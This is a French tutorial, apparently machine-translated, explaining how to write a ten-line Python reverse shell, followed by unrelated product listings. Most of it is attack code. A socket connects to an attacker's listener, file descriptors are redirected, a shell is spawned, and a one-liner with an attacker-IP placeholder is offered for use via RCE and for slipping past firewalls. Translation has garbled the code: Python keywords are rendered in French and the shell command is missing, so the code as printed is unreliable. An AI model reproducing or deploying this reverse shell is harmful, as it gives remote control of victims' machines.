Codage d’un reverse shell en Python en seulement 10 lignes ? Allons droit au but. Les coques inversées font partie intégrante de toute opération de piratage/pentesting. Il aide à contourner le pare-feu et nous permet d’exécuter des commandes sur le système cible distant. Dans ce module, nous allons apprendre à créer un reverse shell en python en 10 lignes ou moins.

Qu’est-ce Qu’une Coque Inversée ?

Schéma d’une coque inversée

Un reverse shell est un programme qui initie une connexion de l’ordinateur de la victime vers un attaquant qui écoute sur un port sur lequel la connexion est reçue. Une fois la connexion établie, il dépose alors un shell distant qui nous permet d’exécuter des commandes sur la machine distante !

Pourquoi Avons-nous Même Besoin De Cela ?

Les shells inversés sont une partie importante de l’arsenal de tout pentester. Une fois que nous avons un shell sur un système distant, nous pouvons exécuter des commandes, transférer des données et ainsi de suite ! De plus, un fichier plus petit est moins susceptible d’attirer l’attention et, comme nous le verrons, nous pouvons même tout mettre sur une seule ligne. Un shell inversé est moins susceptible d’être signalé par les pare-feu car la connexion est initiée par la victime elle-même et est donc traitée comme une connexion sortante normale.

Implémentation D’un Shell Inversé En Python

#!/usr/bin/python3
à partir du système d'importation dup2
à partir de l'exécution d'importation de sous-processus
socket d'importation
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",8888)) 
dup2(s.fileno(),0) 
dup2(s.fileno(),1) 
dup2(s.fileno(),2) 
Cours()

Comprendre Le Code

Maintenant, décomposons le code en plus petites parties pour une meilleure compréhension.

Ligne 1 : Shebang

#!/usr/bin/python3

Il s’agit d’une ligne shebang qui définit le chemin de l’interpréteur à utiliser. Dans notre cas, nous utiliserons Python3 comme interpréteur pour exécuter notre programme. Si votre interpréteur python3 se trouve ailleurs, assurez-vous de le remplacer par le chemin complet de l’interpréteur. En alternative, vous pouvez également saisir :

#!/usr/bin/env python3

Cette version est plus populaire car elle permet la portabilité entre différents systèmes au cas où l’interpréteur de langue serait installé à différents endroits.

Ligne 2-4 : Importation De Bibliothèques

à partir du système d'importation dup2
sous-processus d'importation
socket d'importation

Dans les lignes suivantes, nous importons les bibliothèques et les fonctions dont nous aurions besoin pour notre programme. Les bibliothèques importées sont toutes des bibliothèques standard et ne nécessitent aucune installation de pip supplémentaire. Les bibliothèques et leurs usages sont :

  • os -> Nous n’importons qu’une seule fonction de cette bibliothèque particulière : dup2 , dont nous aurons besoin plus tard pour copier les descripteurs de fichiers.
  • sous-processus -> Nous aurions besoin de cela pour supprimer un shell distant
  • socket -> Nous aurions besoin de cela pour se connecter à l’attaquant distant

Ligne 5 : Création De Notre Objet Socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Ici, nous avons créé une instance de socket et lui avons passé deux paramètres :

  • socket.AF_INET
  • socket.SOCK_STREAM

Ces deux paramètres sont directement dérivés de leurs homologues C. Ainsi par définition :

  • socket.AF_INET signifie que nous utiliserions la famille d’adresses IPv4
  • socket.SOCK_STREAM signifie que nous utiliserions le protocole TCP pour la connexion

Ligne 6 : connexion à l’hôte distant

s.connect(("127.0.0.1",8888))

Ici, nous nous connectons à une adresse IP distante sur un port spécifique. Ici, juste à titre de démonstration, nous utiliserions notre IP locale de 127.0.0.1 et sur le port 8888. Cependant, vous pouvez la changer comme bon vous semble. N’oubliez pas que l’adresse IP que vous saisissez ici doit être l’adresse IP sur laquelle l’attaquant écoute.

Ligne 7-9 : copier Les Descripteurs De Fichier

dup2(s.fileno(),0) 
dup2(s.fileno(),1) 
dup2(s.fileno(),2)

Ici, nous avons une étape très importante. Tout d’abord, familiarisons-nous avec les deux choses importantes ici :

  • s.fileno() : Cela renvoie le descripteur de fichier socket.
  • dup2() : Nous avons importé cette fonction de la bibliothèque os et prenons deux descripteurs de fichiers comme arguments. Cela fait que le deuxième descripteur de fichier qui lui est transmis pointe vers le même descripteur de fichier ouvert que le premier.

Ainsi, aux lignes 7 à 9, nous mappons les descripteurs de fichiers pour stdin , stdout et stderr vers et depuis le socket d’une manière qui est préservée pour les sousprocessus , c’est-à-dire que lorsque le code exécute /bin/bash, le shell hérite des redirections et communique avec l’utilisateur distant via la prise.

Ligne 10 : Appeler Notre Shell Interactif

Cours()

Cela nous génère un shell interactif utilisant les descripteurs de fichiers qui lui sont transmis. Cependant, la fonction run () n’a été ajoutée que dans Python 3.5 et si vous souhaitez générer un shell inversé en utilisant des versions plus anciennes, vous devez utiliser call ()

Pour utiliser call(), nous devons d’abord l’importer en utilisant :

de l'appel d'importation de sous-processus

Ensuite, remplacez la dernière ligne par :

appeler()

Tout Mettre En Une Seule Ligne

€ python3 -c 'import socket; à partir de l'exécution d'importation de sous-processus ; de l'os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTAQUE IP",PORT)); dup2(s.fileno(,0) ); dup2(s.fileno(),1) ; dup2(s.fileno(),2);run();'

Vous pouvez exécuter la doublure suivante pour obtenir une coque inversée. N’oubliez pas de remplacer l’adresse IP et le port corrects avant de l’exécuter.

N’oubliez pas non plus de démarrer un écouteur sur le port sur lequel vous prévoyez d’attraper le shell. Par exemple, ici, nous avons attrapé un shell inversé de notre conteneur Debian sur notre hôte Arch Linux. Nous avons d’abord généré un écouteur sur le port 8888 en utilisant netcat, puis un shell inversé sur notre conteneur Debian avec l’IP de notre Arch Machine et le port spécifié !

Démonstration de notre coque inversée

Conclusion

Ainsi, nous avons appris à créer un simple shell inversé en 10 lignes ou moins dans ce module. Vous pourriez également trouver une doublure plus utile dans certaines situations. En utilisant le one-liner, vous pouvez obtenir une coque via RCE. Vous pouvez également coder vos propres coques inversées avancées avec des fonctionnalités beaucoup plus compliquées comme celle-ci !

Tux Linux Penguin Sudo Rm Rf Hacker d Ordinateur T-Shirt
  • Sudo Rm Rf ne peut être exécuté que par un vrai ninja du clavier et sans...
  • Un cadeau parfait pour tout programmeur, codeur, développeur web,...
  • Léger, Coupe classique, manche à double couture et ourlet à la base
BrosTrend 1200Mbps Linux USB Clé WiFi Adaptateurs de réseau, Ubuntu, Mint, Debian, Kali, Raspbian, Kubuntu, Lubuntu, Xubuntu, Zorin, Raspberry Pi 2+, Dual Band 5GHz 867Mbps, 2.4GHz 300Mbps
  • MULTI-OS SUPPORTÉ : Compatible avec les noyaux Linux jusqu'à 6.7, Ubuntu...
  • ARCHITECTURES SUPPORTÉES : x86_64/x86_32 (PC, VirtualBox...), aarch64/armhf...
  • VITESSE WI-FI RAPIDE : Vous pouvez obtenir une vitesse Wi-Fi de 867Mbps sur la...
  • MULTIPLES MODES DE FONCTIONNEMENT : Cet Linux clef USB WiFi prend en charge les...
  • SÉCURITÉ D'ENCRYPTAGE AVANCÉE : Sécurisez vos appareils et la...
  • DISTRIBUTIONS NON PRISES EN CHARGE : Actuellement NON compatible avec RHEL,...
Promo
Tapis de Souris en Ligne de Commandes Linux – Grand Tapis de Souris étendu. Raccourcis vers Le Programmeur Kali/Red Hat/Ubuntu/OpenSUSE/Arch/Debian/Unix. Tapis de Bureau de Jeu antidérapant
  • ✅ TAILLE GRANDE ET PARFAITE. La taille de 800 x 300 x 2 mm (31,5 x 11,8 x 0,09...
  • ✅ COMPILATION ÉTENDUE de lignes de commande couramment utilisées pour le...
  • ✅ GUIDE INTÉGRAL PARFAIT pour les programmeurs débutants et expérimentés...
  • ✅ BIEN CATÉGORISÉ - Les lignes de commande sont organisées de manière...
  • ✅ RÉFÉRENCE FONCTIONNELLE - Cette référence concise à la syntaxe Linux...
  • ✅ SANS COUTURE ET CONFORT – Tissu doux densément collé avec bords cousus...
  • ✅ IMPRESSION DE HAUTE QUALITÉ – Imprimé numériquement avec des encres de...
  • ✅ La base en caoutchouc naturel robuste et antidérapante offre une forte...
  • ✅ DURABLE - Protège votre bureau en verre/bois des rayures, des bosses et des...
  • ✅ CADEAU IDÉAL pour les collègues, les étudiants, les joueurs, les...